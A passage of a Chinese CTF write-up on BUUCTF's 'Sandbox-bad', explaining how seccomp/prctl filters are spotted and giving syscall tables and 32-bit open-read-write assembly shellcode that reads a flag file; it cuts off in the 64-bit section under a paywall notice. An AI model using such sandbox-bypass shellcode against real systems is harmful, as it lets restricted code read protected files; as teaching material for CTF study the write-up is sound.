BUUCTF之Sandbox-bad
首先针对sandbox,我们需要有一个大概的认知,他是在一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程,通常我们采用orw的方式来获取flag.orw全称only read write,只使用read write函数将flag读取并且打印,shellcode分为三个步骤
- 使用open函数打开flag
- 使用read函数将flag读到buf
- 使用write函数将buf中的值输出
简化为三句伪代码如下,主要需要将这三句C语言变成汇编代码
fd = open(``"./flag"``, O_RDONLY);``read(fd, buf, 0x100)``write(1, buf, 0x100)
对于函数的限制,只要通过两种方式来实现,第一种是采用prctl函数调用,第二种是使用seccomp库函数。对于这类限制,我们可以使用seccomp-tools轻松发现他禁用的一些函数,由于他设置了这些黑名单,所以我们一下就可以发现这是一类sandbox的题型了。
32-bits
32-bits下的系统调用号
三个函数的系统调用编号
| 系统调用号 | 函数名 | 入口点 |
|---|---|---|
| 3 | read | sys_read |
| 4 | write | sys_write |
| 5 | open | sys_open |
shellcode编写
32位系统调用汇编寄存器传递参数顺序依次是ebx, ecx, edx, esi;eax用于存放系统调用号
;32-bit shellcode
; open flag file
mov eax, 5
mov ebx, filepath
mov ecx, 0
int 80h
; read flag
mov ebx, eax
mov eax, 3
mov ecx, buf
mov edx, 100h
int 80h //相当于64位的syscall
; write flag
mov eax, 4
mov ebx, 1
mov ecx, buf
mov edx, 100h
int 80h
ret
64-bits
64-bits下的系统调用号
| %rax | System call | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 |
|---|---|---|---|---|---|---|---|
| 0 | sys_read | unsigned int fd | char *buf | size_t count | |||
| 1 | sys_write | unsigned int fd | const char *bu |

最低0.47元/天 解锁文章
5202

被折叠的 条评论
为什么被折叠?



